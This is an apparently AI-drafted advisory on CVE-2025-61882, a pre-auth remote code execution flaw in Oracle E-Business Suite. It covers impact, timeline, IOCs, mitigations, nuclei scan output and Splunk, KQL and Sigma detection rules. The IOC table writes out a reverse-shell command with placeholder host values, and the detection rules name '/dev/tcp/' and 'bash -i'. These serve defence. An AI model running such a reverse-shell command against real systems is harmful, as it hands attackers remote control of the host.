
Provides a detailed CVE-2025-61882 advisory with technical analysis, IOCs, detection queries, and a nuclei-based exploit template for Oracle E-Business Suite pre-auth RCE.
Short summary: Critical pre‑auth remote code execution in Oracle E‑Business Suite (EBS) — affects 12.2.3 → 12.2.14, CVSS 9.8, actively exploited in the wild (ransom/ extortion activity reported). ([oracle.com][1])
| Field | Details |
|---|
| 🆔 CVE | CVE‑2025‑61882 |
| 🧾 Product / Component | Oracle E‑Business Suite (EBS) — Concurrent Processing / BI Publisher integration |
| 📦 Affected versions | 12.2.3 → 12.2.14 |
| 🔢 CVSS (v3.1) | 9.8 (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H) |
| ⚠️ Type | Remote Code Execution (RCE) — no authentication required |
| 🔥 Exploited in the wild | Yes — mass exploitation / extortion campaigns reported |
| 📅 Disclosure / timeline | October 2025 (vendor advisory + public writeups). ([oracle.com][1]) |
(Above consolidated from vendor advisory, NVD/CISA, and multiple vendor analyses.) ([oracle.com][1])
| Impact area | What it means |
|---|---|
| 🔓 Confidentiality | Attackers can read sensitive HR/finance/ERP data |
| 🛠️ Integrity | Attackers can modify records, create backdoors or alter configurations |
| ⚡ Availability | Attackers can disrupt services, execute ransomware or destroy backups |
| 🧭 Risk level | Extreme — pre‑auth RCE on critical ERP system → possible full domain pivot |
References reporting high‑impact exploitation and ransomware linkage. ([Rapid7][2])
Oracle and incident responders published IOCs; below are representative examples reported in advisories and vendor writeups. Hunt for these patterns in logs and endpoints. ([oracle.com][1])
| Type | Example |
|---|---|
| 🌐 IPs (observed) | 200.107.207.26, 185.181.60.11 (example addresses reported) |
| 🧾 Command pattern | sh -c /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1 (reverse shell) |
| 🗂️ File hashes | Several SHA‑256 hashes for suspected exploit scripts (see vendor advisory for full list) |
| 🕳️ Artifacts | Unexpected web shells, new cronjobs, suspicious outbound connections to unusual IPs/ports |
If you want the full IOC list (IPs, full hashes, filenames) I can paste it here — say “paste IOCs”. (No links.)
| Date | Event |
|---|---|
| Aug 9, 2025 | Earliest reported real‑world exploitation activity (vendor telemetry). ([crowdstrike.com][4]) |
| Early Oct 2025 | Oracle issued security alert / patch availability for EBS. ([oracle.com][1]) |
| Oct 6–7, 2025 | CISA added the CVE to its Known Exploited Vulnerabilities (KEV) catalog (federal agencies guidance, due date for mitigation). ([cisa.gov][5]) |
| Oct 2025 (ongoing) | Multiple vendor writeups and mass‑exploit reports (CrowdStrike, Rapid7, Tenable, etc.). ([crowdstrike.com][4]) |
| Priority | Action | Notes / Sample specifics |
|---|---|---|
| 1️⃣ Critical | Patch affected EBS instances | Apply Oracle’s Security Alert patches for versions 12.2.3–12.2.14 immediately. ([oracle.com][1]) |
| 2️⃣ High | Isolate / restrict access to EBS web endpoints | Block Internet‑facing HTTP/HTTPS to EBS; allow only trusted admin IPs or VPN. |
| 3️⃣ High | Enable/adjust WAF rules | Deploy vendor/community WAF signatures for the exploit patterns; block suspicious payloads. ([Rapid7][2]) |
| 4️⃣ High | Hunt & detect | Search logs for reverse shell commands, abnormal file writes, and outbound connections to IOCs. |
| 5️⃣ Incident | Contain & respond if compromise found | Isolate host, preserve forensic evidence, change credentials, rebuild from clean backups. |
| 6️⃣ Policy | Report & notify | If you’re in scope of regulatory/contractual requirements, notify stakeholders and authorities per policy (CISA/KEV guidance may apply). ([nvd.nist.gov][3]) |
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://10.10.10.10:8000 -t CVE-2025-61882.yaml
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/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[INF] Scan completed in 485.722955ms. 1 matches found.
┌──(kali㉿kali)-[~]
└─$ nuclei -l targets.txt -t CVE-2025-61882.yaml
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____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 7
[INF] Running httpx on input host
[INF] Found 7 URL from httpx
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Mon, 02 Oct 2023 13:57:20 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sat, 31 Aug 2024 15:30:07 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Tue, 15 Aug 2023 16:58:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Fri, 30 Aug 2024 21:49:46 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sun, 16 May 2021 17:03:44 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http:/10.10.10.10:8000 ["Fri, 01 Sep 2023 13:20:35 GMT"]
[INF] Scan completed in 621.029991ms. 7 matches found.


Splunk (search for reverse shell pattern):
index=web OR index=ebs_logs (uri_path="/cgi/*" OR uri_path="/xmlpserver/*")
| search "* /bin/bash -i * /dev/tcp/*" OR "*/dev/tcp/* 0>&1*"
| table _time host src_ip user uri_path _raw
ELK / Kibana (KQL):
http.request.body : "*bash -i*" or http.request.body : "* /dev/tcp/*"
Sigma rule (conceptual):
title: Oracle EBS Reverse Shell via HTTP
detection:
selection:
EventID: 1234
ProcessCommandLine|contains: "/dev/tcp/"
condition: selection
(Adjust field names to your log schema; use IOCs to refine.)
80/443 to EBS servers from the public internet; allow only management VPN and specific admin IPs.bash -i, /dev/tcp/, base64 -d, or typical exploit payload patterns in POST bodies or URL parameters.(I list sources for accuracy — I won’t paste links here but these are the vendor/authority names so you can reference them if needed.)
The information provided in this report is for awareness, defensive, and educational purposes only. Use of this information to exploit, attack, or compromise any system without explicit authorization is illegal and may result in criminal and civil penalties.
🔒 Always apply recommended patches, follow security best practices, and conduct testing in controlled environments only.
🧾 This report does not replace official vendor advisories — always consult Oracle Security Alerts and authorized guidance for definitive remediation instructions.